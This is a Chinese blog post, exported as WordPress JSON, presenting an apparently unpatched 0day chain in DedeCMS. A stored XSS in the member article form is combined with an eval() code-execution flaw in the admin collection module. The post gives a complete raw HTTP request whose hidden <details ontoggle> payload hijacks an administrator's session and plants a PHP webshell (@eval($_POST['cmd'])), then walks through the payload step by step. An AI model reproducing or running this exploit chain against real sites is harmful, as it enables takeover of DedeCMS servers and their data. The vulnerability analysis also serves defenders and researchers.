{"id":202,"date":"2026-01-25T19:42:43","date_gmt":"2026-01-25T11:42:43","guid":{"rendered":"https:\/\/zhihao.org.cn\/?p=202"},"modified":"2026-01-25T19:47:36","modified_gmt":"2026-01-25T11:47:36","slug":"0day%e7%bb%87%e6%a2%a6dedecms-0click%e5%8a%ab%e6%8c%81%e5%af%bc%e8%87%b4%e7%9a%84%e5%89%8d%e5%8f%b0rce-getshell","status":"publish","type":"post","link":"https:\/\/zhihao.org.cn\/?p=202","title":{"rendered":"[0day]\u7ec7\u68a6DedeCMS 0click\u52ab\u6301\u5bfc\u81f4\u7684\u524d\u53f0rce getshell"},"content":{"rendered":"\n

\u6f0f\u6d1e\u70b91 \u524d\u53f0xss<\/h3>\n\n\n\n

2.<\/strong> <\/strong>1<\/strong>.1. \u5165\u53e3\u70b9<\/strong><\/p>\n\n\n\n

\u529f\u80fd\u6a21\u5757<\/strong>: \u4f1a\u5458\u4e2d\u5fc3 – \u5185\u5bb9\u53d1\u5e03\u529f\u80fd<\/p>\n\n\n\n

\u5177\u4f53\u6587\u4ef6<\/strong>: member\/article_add.php<\/p>\n\n\n\n

\u89e6\u53d1\u6761\u4ef6<\/strong>: \u666e\u901a\u8ba4\u8bc1\u7528\u6237\u5411\u8be5\u9875\u9762\u63d0\u4ea4 dopost=save \u7684 POST \u8bf7\u6c42\uff0c\u53d1\u5e03\u65b0\u6587\u7ae0\u3002<\/p>\n\n\n\n

\u4ea7\u751f\u539f\u56e0<\/strong>\uff1aPOST\u53d1\u9001\u7684\u8bf7\u6c42\u8fc7\u6ee4\u4e0d\u5b8c\u6574\uff0c\u5927\u90e8\u5206\u8f6c\u4e49\u53ea\u5b58\u5728\u524d\u7aef\uff0c\u4f7f\u7528POST\u53d1\u5305\u5373\u53ef\u7ed5\u8fc7<\/p>\n\n\n\n

1<\/strong>.2. \u6f0f\u6d1e\u70b9<\/strong><\/p>\n\n\n\n

\u6838\u5fc3\u6587\u4ef6<\/strong>: include\/helpers\/filter.helper.php<\/p>\n\n\n\n

\u6f0f\u6d1e\u51fd\u6570<\/strong>: HtmlReplace($str, $rptype = -1)<\/p>\n\n\n\n

\u4ee3\u7801\u4f4d\u7f6e<\/strong>: include\/helpers\/filter.helper.php \u7b2c 23-51 \u884c\uff08\u884c\u53f7\u53ef\u80fd\u7565\u6709\u5dee\u5f02\uff09<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n
 functionHtmlReplace($str, $rptype =-1)\n {\n  $str = stripslashes($str);\n if($rptype ==-1){\n \/\/ \u5b8c\u5168\u7981\u6b62 script,iframe,link,meta,style,object \u7b49\n  $str = preg_replace(\"\/<(script|style|link|meta|iframe|frame)([^>]+)?>\/isU\",\"\", $str);\n  $str = preg_replace(\"\/<\\\/(script|style|link|meta|iframe|frame)>\/isU\",\"\", $str);\n  $str = preg_replace(\"\/<[a-z]+:[a-z]+([^>]+)?>\/isU\",\"\", $str);\/\/ \u7981\u6b62\u5982 o:p \u8fd9\u6837\u7684\u6807\u7b7e\n  $str = preg_replace(\"\/<([a-z]+) on[a-z]+=([^>]+)?>\/isU\",\"<\\\\1>\", $str);\/\/ \u7981\u6b62 on* \u4e8b\u4ef6\n }\n \/\/ ... \u5176\u4ed6 rptype \u7684\u5904\u7406\n return addslashes($str);\n }<\/code><\/pre>\n\n\n\n
1<\/strong>.3. \u8c03\u7528\u94fe<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
1. \u7528\u6237\u64cd\u4f5c<\/strong>: \u666e\u901a\u7528\u6237\u767b\u5f55\u540e\uff0c\u8bbf\u95ee member\/article_add.php \u9875\u9762\uff0c\u586b\u5199\u6807\u9898\u548c\u5185\u5bb9\uff08\u5305\u542b XSS Payload\uff09\uff0c\u70b9\u51fb\u201c\u63d0\u4ea4\u201d\u3002<\/p>\n\n\n\n
2. \u8bf7\u6c42\u63d0\u4ea4<\/strong>: \u6d4f\u89c8\u5668\u5411 member\/article_add.php \u53d1\u9001 POST \u8bf7\u6c42\uff0cdopost \u53c2\u6570\u4e3a save\u3002<\/p>\n\n\n\n
3. \u5305\u542b\u68c0\u67e5\u6587\u4ef6<\/strong>: member\/article_add.php \u5728\u5904\u7406\u4fdd\u5b58\u903b\u8f91\u65f6\uff0c\u4f1a\u5305\u542b member\/inc\/archives_check.php \u6587\u4ef6\u3002<\/p>\n\n\n\n
4. \u8c03\u7528\u8fc7\u6ee4\u51fd\u6570<\/strong>: \u5728 member\/inc\/archives_check.php \u4e2d\uff0c\u4ece POST \u8bf7\u6c42\u83b7\u53d6\u7684\u6587\u7ae0\u6b63\u6587 $body \u4f1a\u88ab\u4f20\u9012\u7ed9\u6f0f\u6d1e\u51fd\u6570\u8fdb\u884c\u5904\u7406\uff1a<\/p>\n\n\n\n
5.<\/p>\n\n\n\n
$body =HtmlReplace($body, $htmltype);\/\/ \u6b64\u5904 $htmltype \u9ed8\u8ba4\u4e3a -1<\/p>\n\n\n\n
6. \u6570\u636e\u5165\u5e93<\/strong>: \u7ecf\u8fc7\u8fc7\u6ee4\uff08\u4f46\u5b9e\u9645\u4e0a\u672a\u6210\u529f\u8fc7\u6ee4\u6076\u610f\u4ee3\u7801\uff09\u7684 $body \u5185\u5bb9\u88ab\u62fc\u63a5\u5230 SQL \u8bed\u53e5\u4e2d\uff0c\u5e76\u5b58\u5165\u6570\u636e\u5e93\u7684 dede_addonarticle \u8868\u3002<\/p>\n\n\n\n
7. \u6f0f\u6d1e\u89e6\u53d1<\/strong>: \u5f53\u4efb\u610f\u7528\u6237\uff08\u5305\u62ec\u7ba1\u7406\u5458\uff09\u901a\u8fc7 plus\/view.php?aid={\u6587\u7ae0ID} \u8bbf\u95ee\u8fd9\u7bc7\u6587\u7ae0\u65f6\uff0c\u5e94\u7528\u7a0b\u5e8f\u4ece\u6570\u636e\u5e93\u4e2d\u8bfb\u53d6\u542b\u6709\u6076\u610f\u4ee3\u7801\u7684\u5185\u5bb9\uff0c\u5e76\u76f4\u63a5\u5728\u9875\u9762\u4e0a\u6e32\u67d3\u3002<\/p>\n\n\n\n
8. \u811a\u672c\u6267\u884c<\/strong>: \u6d4f\u89c8\u5668\u89e3\u6790\u5230\u6076\u610f HTML \u6807\u7b7e\uff08\u5982 <img src=x onerror=alert(…)>\uff09\uff0c\u6267\u884c onerror \u4e8b\u4ef6\u4e2d\u7684 JavaScript \u4ee3\u7801\uff0cXSS \u653b\u51fb\u6210\u529f\u3002<\/p>\n\n\n\n
2<\/strong>. \u6f0f\u6d1e\u6210\u56e0\u5206\u6790<\/strong><\/p>\n\n\n\n
2<\/strong>.1. \u7ed5\u8fc7\u7684\u5b89\u5168\u63aa\u65bd<\/strong><\/p>\n\n\n\n
\u672c\u6b21\u653b\u51fb\u6210\u529f\u7ed5\u8fc7\u4e86 HtmlReplace() \u51fd\u6570\u7684\u5b89\u5168\u8fc7\u6ee4\u673a\u5236\u3002\u8be5\u51fd\u6570\u672c\u610f\u662f\u4f5c\u4e3a\u9632\u6b62 XSS \u653b\u51fb\u7684\u6838\u5fc3\u9632\u5fa1\u63aa\u65bd\u4e4b\u4e00\u3002<\/p>\n\n\n\n
2<\/strong>.2. \u5b89\u5168\u63aa\u65bd\u7684\u95ee\u9898<\/strong><\/p>\n\n\n\n
HtmlReplace() \u51fd\u6570\u7684\u6839\u672c\u95ee\u9898\u5728\u4e8e\u5176\u8bbe\u8ba1\u7f3a\u9677<\/strong>\uff1a<\/p>\n\n\n\n
1. \u4e0d\u5b8c\u5584\u7684\u9ed1\u540d\u5355<\/strong>:<\/p>\n\n\n\n
undefined \u51fd\u6570\u4ec5\u8fc7\u6ee4\u4e86\u5c11\u6570\u5df2\u77e5\u7684\u5371\u9669\u6807\u7b7e\uff0c\u5982 <script>, <iframe> \u7b49\u3002\u4f46 HTML \u4e2d\u5b58\u5728\u5927\u91cf\u53ef\u4ee5\u6267\u884c\u811a\u672c\u7684\u6807\u7b7e\uff0c\u4f8b\u5982 <img>, <svg>, <details>, <video> \u7b49\uff0c\u8fd9\u4e9b\u6807\u7b7e\u5747\u672a\u5728\u9ed1\u540d\u5355\u4e2d\u3002<\/p>\n\n\n\n
2. \u4e8b\u4ef6\u5904\u7406\u5668\u8fc7\u6ee4\u53ef\u88ab\u7ed5\u8fc7<\/strong>:<\/p>\n\n\n\n
undefined \u867d\u7136\u4ee3\u7801\u4e2d\u5b58\u5728\u4e00\u884c preg_replace(“\/<([a-z]+) on[a-z]+=([^>]+)?>\/isU”, “<\\\\1>”, $str); \u610f\u56fe\u79fb\u9664 on* \u4e8b\u4ef6\uff0c\u4f46\u8fd9\u4e2a\u6b63\u5219\u8868\u8fbe\u5f0f\u5199\u5f97\u975e\u5e38\u8106\u5f31\u3002<\/p>\n\n\n\n
undefined \u95ee\u9898\u6240\u5728<\/strong>:<\/p>\n\n\n\n
undefined \u5b83\u53ea\u5339\u914d\u4e86 on \u540e\u9762\u7d27\u8ddf\u5c0f\u5199\u5b57\u6bcd\u7684\u60c5\u51b5 (on[a-z]+=)\u3002<\/p>\n\n\n\n
undefined \u5b83\u6ca1\u6709\u8003\u8651 HTML \u5bf9\u5c5e\u6027\u548c\u6807\u7b7e\u540d\u5927\u5c0f\u5199\u4e0d\u654f\u611f\u7684\u7279\u6027\u3002<\/p>\n\n\n\n
undefined \u5b83\u6ca1\u6709\u5904\u7406\u4e8b\u4ef6\u540d\u524d\u540e\u53ef\u80fd\u5b58\u5728\u7684\u7a7a\u683c\u3001\u5236\u8868\u7b26\u3001\u6362\u884c\u7b26\u7b49\u7a7a\u767d\u5b57\u7b26\u3002<\/p>\n\n\n\n
undefined \u4f8b\u5982\uff0conload \u53ef\u4ee5\u88ab\u7ed5\u8fc7\uff0c\u800c <svg\/onload=…> \u8fd9\u79cd\u66f4\u7b80\u6d01\u7684\u5411\u91cf\u4e5f\u5b8c\u5168\u65e0\u6cd5\u5339\u914d\u3002<\/p>\n\n\n\n
2<\/strong>.3. \u89e6\u53d1\u6f0f\u6d1e\u7684\u539f\u56e0<\/strong><\/p>\n\n\n\n
\u6f0f\u6d1e\u4e4b\u6240\u4ee5\u88ab\u89e6\u53d1\uff0c\u662f\u56e0\u4e3a\u5e94\u7528\u7a0b\u5e8f\u8fc7\u5ea6\u4fe1\u4efb<\/strong>\u4e86 HtmlReplace() \u51fd\u6570\u7684\u8fc7\u6ee4\u80fd\u529b\u3002\u5f00\u53d1\u8005\u8ba4\u4e3a\u7ecf\u8fc7\u6b64\u51fd\u6570\u5904\u7406\u540e\u7684\u5185\u5bb9\u662f\u201c\u5b89\u5168\u7684\u201d\uff0c\u56e0\u6b64\u76f4\u63a5\u5c06\u5176\u5b58\u5165\u6570\u636e\u5e93\u5e76\u5728\u524d\u7aef\u8f93\u51fa\u3002\u7136\u800c\uff0c\u7531\u4e8e\u8be5\u51fd\u6570\u7684\u8fc7\u6ee4\u903b\u8f91\u53ef\u4ee5\u88ab\u8f7b\u6613\u7ed5\u8fc7\uff0c\u5bfc\u81f4\u6076\u610f\u6784\u9020\u7684 JavaScript Payload \u88ab\u5b8c\u6574\u5730\u5b58\u50a8\u548c\u518d\u73b0\uff0c\u6700\u7ec8\u5728\u7528\u6237\u6d4f\u89c8\u5668\u4e2d\u6267\u884c\u3002<\/p>\n\n\n\n
\u6f0f\u6d1e\u70b92 \u540e\u53f0rce<\/h3>\n\n\n\n
1. \u6f0f\u6d1e\u4f4d\u7f6e<\/strong><\/p>\n\n\n\n
\u4e3b\u8981\u6f0f\u6d1e\u70b9<\/strong>: include\/dedecollection.class.php<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
2. \u5b8c\u6574\u8c03\u7528\u94fe\u5206\u6790<\/strong><\/p>\n\n\n\n
2.1 \u5165\u53e3\u70b9\u5206\u6790<\/strong><\/p>\n\n\n\n
\u5165\u53e3\u6587\u4ef6<\/strong>: dede\/co_add.php<\/p>\n\n\n\n
\u6743\u9650\u68c0\u67e5<\/strong>: CheckPurview(‘co_AddNote’); – \u9700\u8981\u91c7\u96c6\u6dfb\u52a0\u6743\u9650<\/p>\n\n\n\n
\u7528\u6237\u7c7b\u578b<\/strong>: \u7ba1\u7406\u5458\u7528\u6237<\/p>\n\n\n\n
2.2 \u8c03\u7528\u94fe\u8def\u5f84<\/strong><\/p>\n\n\n\n
\u653b\u51fb\u94fe\uff08\u903b\u8f91\u6d41\uff09<\/p>\n\n\n\n
1. \u5165\u53e3<\/p>\n\n\n\n
dede\/co_add.php \u7b2c12\u884c<\/p>\n\n\n\n
\u2514\u2500 require_once(dirname(__FILE__).”\/config.php”);<\/p>\n\n\n\n
\u2514\u2500 CheckPurview(‘co_AddNote’); \/\/ \u6743\u9650\u6821\u9a8c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
2. \u63a5\u6536\u7528\u6237\u8f93\u5165<\/p>\n\n\n\n
co_add.php step=5<\/p>\n\n\n\n
\u2514\u2500 \u62fc\u63a5\u5b57\u7b26\u4e32 $itemconfig\uff0c\u5176\u4e2d\u76f4\u63a5\u5305\u542b\u7528\u6237\u63d0\u4ea4\u7684 function_ \u5b57\u6bb5\u5185\u5bb9<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
3. \u5f15\u5165\u7c7b\u6587\u4ef6<\/p>\n\n\n\n
co_add.php<\/p>\n\n\n\n
\u2514\u2500 require_once(DEDEINC.’\/dedecollection.class.php’);<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
4. \u89e3\u6790\u914d\u7f6e<\/p>\n\n\n\n
dedecollection.class.php LoadItemConfig()<\/p>\n\n\n\n
\u2514\u2500 \u4ece $itemconfig \u4e2d\u63d0\u53d6 function \u5b57\u6bb5\uff0c\u4fdd\u5b58\u4e3a\u540e\u7eed\u8981\u7528\u5230\u7684 PHP \u4ee3\u7801\u7247\u6bb5<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
5. \u89e6\u53d1\u6267\u884c\u70b9<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
dedecollection.class.php GetPageFields()<\/p>\n\n\n\n
\u2514\u2500 \u68c0\u6d4b\u5230\u201c\u5e26\u51fd\u6570\u201d\u9879\u76ee\uff0c\u8c03\u7528 RunPHP()<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
6. \u4ee3\u7801\u6267\u884c<\/p>\n\n\n\n
dedecollection.class.php RunPHP()<\/p>\n\n\n\n
eval($phpcode.’;’); \/\/ $phpcode \u5373\u4e3a\u7528\u6237\u8f93\u5165\uff0c\u65e0\u8fc7\u6ee4\uff0c\u5bfc\u81f4\u4efb\u610f PHP \u4ee3\u7801\u6267\u884c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
2.3 \u5173\u952e\u4ee3\u7801\u6bb5<\/strong><\/p>\n\n\n\n
co_add.php – \u6784\u9020\u6076\u610f\u914d\u7f6e<\/strong>:<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
dedecollection.class.php \u7b2c 708-801 \u884c – \u89e6\u53d1\u6267\u884c<\/strong>:<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
1. \u6253\u5f00\u91c7\u96c6\u8282\u70b9\u7ba1\u7406<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
2. \u70b9\u51fb\u589e\u52a0\u65b0\u8282\u70b9\uff0c\u5185\u5bb9\u6a21\u578b\u9009\u62e9\u666e\u901a\u6587\u7ae0\u5373\u53ef<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
3. \u4fee\u6539\u914d\u7f6e\uff0c\u8fd9\u4e2a\u754c\u9762\u5176\u5b9e\u4ec0\u4e48\u90fd\u4e0d\u7528\u586b\u5199\uff0c\u4e0d\u8fc7\u7f16\u7801\u8bb0\u5f97\u6539\u6210uft8\uff0c\u4e0d\u7136\u53ef\u80fd\u4f1a\u62a5\u9519<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
4. \u7ee7\u7eed\u70b9\u51fb\u4fdd\u5b58\u4fe1\u606f\u8fdb\u5165\u4e0b\u4e00\u6b65\uff0c\u8fdb\u5165\u65b0\u754c\u9762\u540e<\/p>\n\n\n\n
<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/p>\n\n\n\n
\u8bb0\u5f97\u914d\u7f6e\u4e00\u4e2a\u9884\u89c8\u7f51\u5740\uff0c\u968f\u4fbf\u586b\u5199\u4ec0\u4e48\u90fd\u53ef\u4ee5\uff0c\u8fd4\u56de404\u4e5f\u6ca1\u95ee\u9898\uff0c\u4e3b\u8981\u662f\u4e3a\u4e86\u4e0b\u4e00\u6b65\u64cd\u4f5c<\/p>\n\n\n\n
5. \u6700\u5173\u952e\u7684\u6765\u4e86\uff0c\u76f4\u63a5\u586b\u5199php\u4ee3\u7801<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
$file = '..\/shell.php';\n$code = '<?php @eval($_POST[\"cmd\"]); ?>';\nif (!is_writable('.')) {\nexit('!w');\n}\nif (file_put_contents($file, $code) === false) {\nexit('!f');\n}\n\necho \"OK:$file\";\n?><\/code><\/pre>\n\n\n\n
\u5176\u5b9e\u5199\u4ec0\u4e48\u90fd\u884c\uff0c\u8fd9\u91cc\u4e3a\u4e86\u65b9\u4fbf\uff0c\u6211\u5199\u7684\u662f<\/p>\n\n\n\n
\u70b9\u51fb\u4fdd\u5b58\u914d\u7f6e\u5e76\u9884\u89c8<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u63d0\u793awebshell\u5df2\u5199\u5165<\/p>\n\n\n\n
\u8bbf\u95ee\u6d4b\u8bd5<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
xss+\u540e\u53f0rce\u7ec4\u5408\u62f30click\u52ab\u6301 \u5bfc\u81f4\u7684\u524d\u53f0rce getshell<\/h3>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u9996\u5148\u9700\u8981\u8bba\u575b\u7ba1\u7406\u5458\u5f00\u542f\u5141\u8bb8\u7528\u6237\u6ce8\u518c(\u4e00\u822c\u7684\u5927\u591a\u8bba\u575b\u90fd\u4f1a\u6709\u8fd9\u4e2a\u529f\u80fd)<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u968f\u4fbf\u6ce8\u518c\u4e00\u4e2a\u7528\u6237<\/p>\n\n\n\n
\u53d1\u5e03\u6587\u7ae0\uff0c\u8fd9\u91cc\u968f\u4fbf\u586b\u5165\u5185\u5bb9\uff0c\u4e00\u4f1a\u513f\u7528burp\u6293\u5305\u4fee\u6539\uff0c\u5e94\u8be5\u8fd9\u91cc\u586b\u5165\u7684\u5185\u5bb9\u4f1a\u5728\u524d\u7aef\u8f6c\u4e49\uff0c\u6240\u4ee5\u4e00\u5b9a\u8981\u6293\u5305\u4fee\u6539\uff0c\u4e0d\u80fd\u5728\u6b64\u5904\u76f4\u63a5\u7c98\u8d34payload<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u901a\u8fc7xss\u4e0e\u540e\u53f0rce\u8fde\u7528\u5bfc\u81f4\u524d\u7aefrce\uff0cpayload\u5206\u6790\u5728\u6587\u7ae0\u672b\u5c3e<\/p>\n\n\n\n
\u53d1\u8868\u6587\u7ae0\u7684\u4f4d\u7f6e\u63d2\u5165xss\u7684payload<\/p>\n\n\n\n
Paylaod\uff1a<\/p>\n\n\n\n
POST \/member\/article_add.php HTTP\/1.1\nUpgrade-Insecure-Requests: 1\nCookie: PHPSESSID=nh39psg5v2o5cf9c8pomj1e1ql; last_vtime=1759853737; last_vtime1BH21ANI1AGD297L1FF21LN02BGE1DNG=2ab33eb76a0cfee4; last_vid=zhangsan; last_vid1BH21ANI1AGD297L1FF21LN02BGE1DNG=379eea6708338568; DedeUserID=2; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=e8d5d4f01a2244cf; DedeLoginTime=1759914279; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=308b8ec7c3b94d13; ENV_GOBACK_URL=%2Fmember%2Fcontent_list.php%3Fchannelid%3D1\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\nAccept-Language: zh-CN,zh;q=0.9\nReferer: http:\/\/127.0.0.1\/member\/article_add.php\nSec-Fetch-Dest: document\nConnection: keep-alive\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:140.0) Gecko\/20100101 Firefox\/140.0\nSec-Fetch-User: ?1\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundarySyrTdpWXNBErACAu\nOrigin: http:\/\/127.0.0.1\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nCache-Control: max-age=0\nHost: 127.0.0.1\nContent-Length: 1395\n------WebKitFormBoundarySyrTdpWXNBErACAu\nContent-Disposition: form-data; name=\"dopost\"\nsave\n------WebKitFormBoundarySyrTdpWXNBErACAu\nContent-Disposition: form-data; name=\"channelid\"\n1\n------WebKitFormBoundarySyrTdpWXNBErACAu\nContent-Disposition: form-data; name=\"title\"\nkkk\n------WebKitFormBoundarySyrTdpWXNBErACAu\nContent-Disposition: form-data; name=\"tags\"\n------WebKitFormBoundarySyrTdpWXNBErACAu\nContent-Disposition: form-data; name=\"writer\"\nzhangsan\n------WebKitFormBoundarySyrTdpWXNBErACAu\nContent-Disposition: form-data; name=\"typeid\"\n1\n------WebKitFormBoundarySyrTdpWXNBErACAu\nContent-Disposition: form-data; name=\"mtypesid\"\n0\n------WebKitFormBoundarySyrTdpWXNBErACAu\nContent-Disposition: form-data; name=\"description\"\n------WebKitFormBoundarySyrTdpWXNBErACAu\nContent-Disposition: form-data; name=\"litpic\"; filename=\"\"\nContent-Type: application\/octet-stream\n------WebKitFormBoundarySyrTdpWXNBErACAu\nContent-Disposition: form-data; name=\"dede_addonfields\"\n------WebKitFormBoundarySyrTdpWXNBErACAu\nContent-Disposition: form-data; name=\"dede_fieldshash\"\n7c4b61b91b4a839699243bbbaca861c5\n------WebKitFormBoundarySyrTdpWXNBErACAu\nContent-Disposition: form-data; name=\"body\"\n<details open ontoggle=\"fetch('\/dede\/co_add.php',{method:'POST',credentials:'include',headers:{'Content-Type':'application\/x-www-form-urlencoded'},body:'channelid=1&step=2&dopost=preview&notename=short'}).then(r=>r.text()).then(t=>{console.log(t);let m=t.match(\/name='nid' value='(.*?)'\/);if(m){let nid=m[1];alert(nid);fetch('\/dede\/co_add.php',{method:'POST',credentials:'include',headers:{'Content-Type':'application\/x-www-form-urlencoded'},body:'nid='+nid+'&channelid=1&step=5&previewurl=http%3A%2F%2F127.0.0.1%2Ftest.html&sppage=&sptype=full&srul=1&erul=5&keywordtrim=&descriptiontrim=&fields[]=title&match_title=%3Ctitle%3E%5B%E5%86%85%E5%AE%B9%5D%3C%2Ftitle%3E&trim_title=&fields[]=writer&match_writer=&trim_writer=&fields[]=source&match_source=&trim_source=&fields[]=pubdate&match_pubdate=&trim_pubdate=&function_pubdate=%40me%3DGetMkTime%28%40me%29%3B&fields[]=body&value_body=&match_body=&isunit_body=1&isdown_body=1&trim_body=&function_body=%24file%20%3D%20%27..%2Fshell.php%27%3B%0D%0A%24code%20%3D%20%27%3C%3Fphp%20%40eval%28%24_POST%5B%22cmd%22%5D%29%3B%20%3F%3E%27%3B%0D%0Aif%20%28%21is_writable%28%27.%27%29%29%20%7B%0D%0A%09exit%28%27%21w%27%29%3B%0D%0A%7D%0D%0Aif%20%28file_put_contents%28%24file%2C%20%24code%29%20%3D%3D%3D%20false%29%20%7B%0D%0A%09exit%28%27%21f%27%29%3B%0D%0A%7D%0D%0Aecho%20%27OK%3A%27%20.%20%24file%3B%0D%0A%3F%3E&b12=%E4%BF%9D%E5%AD%98%E9%85%8D%E7%BD%AE%E5%B9%B6%E9%A2%84%E8%A7%88'}).then(r=>r.text()).then(res=>console.log(res))}})\" hidden><summary><\/summary><\/details>\n------WebKitFormBoundarySyrTdpWXNBErACAu\nContent-Disposition: form-data; name=\"vdcode\"\nMQK5\n------WebKitFormBoundarySyrTdpWXNBErACAu--<\/code><\/pre>\n\n\n\n
\u521b\u5efa\u4e00\u7bc7\u6587\u7ae0\uff0c\u7ba1\u7406\u5458\u5728\u540e\u53f0\u70b9\u5f00\u5f85\u5ba1\u6838\u6587\u7ae0\u65f6\u81ea\u52a8\u89e6\u53d1<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5176\u4e2dkkk\u662f\u6211\u521a\u53d1\u9001\u6570\u636e\u5305\u53d1\u5e03\u7684\u65b0\u6587\u7ae0<\/p>\n\n\n\n
\u7ba1\u7406\u5458\u6253\u5f00\u663e\u793a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u4e2a22\u662f\u4ec0\u4e48\u7b49\u4f1a\u518d\u8bb2<\/p>\n\n\n\n
\u67e5\u770b\u76ee\u5f55\u53d1\u73b0shell.php\u521b\u5efa\u6210\u529f<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u73b0\u5728\u6211\u4eec\u6765\u5206\u6790\u8fd9\u4e2apayload<\/p>\n\n\n\n
<details open ontoggle=\"fetch('\/dede\/co_add.php',{method:'POST',credentials:'include',headers:{'Content-Type':'application\/x-www-form-urlencoded'},body:'channelid=1&step=2&dopost=preview&notename=short'}).then(r=>r.text()).then(t=>{console.log(t);let m=t.match(\/name='nid' value='(.*?)'\/);if(m){let nid=m[1];alert(nid);fetch('\/dede\/co_add.php',{method:'POST',credentials:'include',headers:{'Content-Type':'application\/x-www-form-urlencoded'},body:'nid='+nid+'&channelid=1&step=5&previewurl=http%3A%2F%2F127.0.0.1%2Ftest.html&sppage=&sptype=full&srul=1&erul=5&keywordtrim=&descriptiontrim=&fields[]=title&match_title=%3Ctitle%3E%5B%E5%86%85%E5%AE%B9%5D%3C%2Ftitle%3E&trim_title=&fields[]=writer&match_writer=&trim_writer=&fields[]=source&match_source=&trim_source=&fields[]=pubdate&match_pubdate=&trim_pubdate=&function_pubdate=%40me%3DGetMkTime%28%40me%29%3B&fields[]=body&value_body=&match_body=&isunit_body=1&isdown_body=1&trim_body=&function_body=%24file%20%3D%20%27..%2Fshell.php%27%3B%0D%0A%24code%20%3D%20%27%3C%3Fphp%20%40eval%28%24_POST%5B%22cmd%22%5D%29%3B%20%3F%3E%27%3B%0D%0Aif%20%28%21is_writable%28%27.%27%29%29%20%7B%0D%0A%09exit%28%27%21w%27%29%3B%0D%0A%7D%0D%0Aif%20%28file_put_contents%28%24file%2C%20%24code%29%20%3D%3D%3D%20false%29%20%7B%0D%0A%09exit%28%27%21f%27%29%3B%0D%0A%7D%0D%0Aecho%20%27OK%3A%27%20.%20%24file%3B%0D%0A%3F%3E&b12=%E4%BF%9D%E5%AD%98%E9%85%8D%E7%BD%AE%E5%B9%B6%E9%A2%84%E8%A7%88'}).then(r=>r.text()).then(res=>console.log(res))}})\" hidden><summary><\/summary><\/details><\/code><\/pre>\n\n\n\n
1. \u89e6\u53d1\u65b9\u5f0f<\/strong><\/p>\n\n\n\n
    \n
  1. <details open ontoggle=”…”><\/li>\n<\/ol>\n\n\n\n
    \u5229\u7528 HTML5 \u7684 <details> \u6807\u7b7e\u7684 ontoggle \u4e8b\u4ef6\uff0c\u9875\u9762\u4e00\u6253\u5f00\u5c31\u81ea\u52a8\u6267\u884c JS<\/strong>\u3002<\/p>\n\n\n\n
    \u65e0\u9700\u7528\u6237\u4ea4\u4e92\uff0c\u9690\u853d\u6027\u5f3a<\/strong>\u3002<\/p>\n\n\n\n
    2. \u7b2c\u4e00\u6b65\uff1a\u83b7\u53d6 <\/strong>nid<\/strong><\/p>\n\n\n\n
    fetch('\/dede\/co_add.php', {\n  method: 'POST',\ncredentials: 'include',\nheaders: {'Content-Type': 'application\/x-www-form-urlencoded'},\nbody: 'channelid=1&step=2&dopost=preview&notename=short'\n})<\/code><\/pre>\n\n\n\n
    \u6a21\u62df\u540e\u53f0\u8bf7\u6c42\uff0c\u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u91c7\u96c6\u8282\u70b9<\/strong>\u3002<\/p>\n\n\n\n
    \u8fd4\u56de\u5185\u5bb9\u4e2d\u5305\u542b\u4e00\u4e2a\u9690\u85cf\u7684 nid\uff08\u8282\u70b9ID\uff09\uff0c\u7528\u4e8e\u540e\u7eed\u6b65\u9aa4\u3002<\/p>\n\n\n\n
    3. \u7b2c\u4e8c\u6b65\uff1a\u6ce8\u5165\u6076\u610f\u4ee3\u7801<\/strong><\/p>\n\n\n\n
    fetch('\/dede\/co_add.php', {\n  method: 'POST',\n  crdentials: 'include',\n  headers: {'Content-Type': 'application\/x-www-form-urlencoded'},\n  body: 'nid=' + nid + '&...&function_body=...'\n})<\/code><\/pre>\n\n\n\n
    \u5229\u7528 function_body \u53c2\u6570\uff0c\u6ce8\u5165 PHP \u4ee3\u7801<\/strong>\u3002<\/p>\n\n\n\n
    \u8fd9\u6bb5 PHP \u4ee3\u7801\u7684\u4f5c\u7528\u662f\uff1a<\/p>\n\n\n\n
    $file = '..\/shell.php';\n$code = '<?php @eval($_POST[\"cmd\"]); ?>';\nif (!is_writable('.')) exit('!w');\nif (file_put_contents($file, $code) === false) exit('!f');\necho 'OK:' . $file;<\/code><\/pre>\n\n\n\n
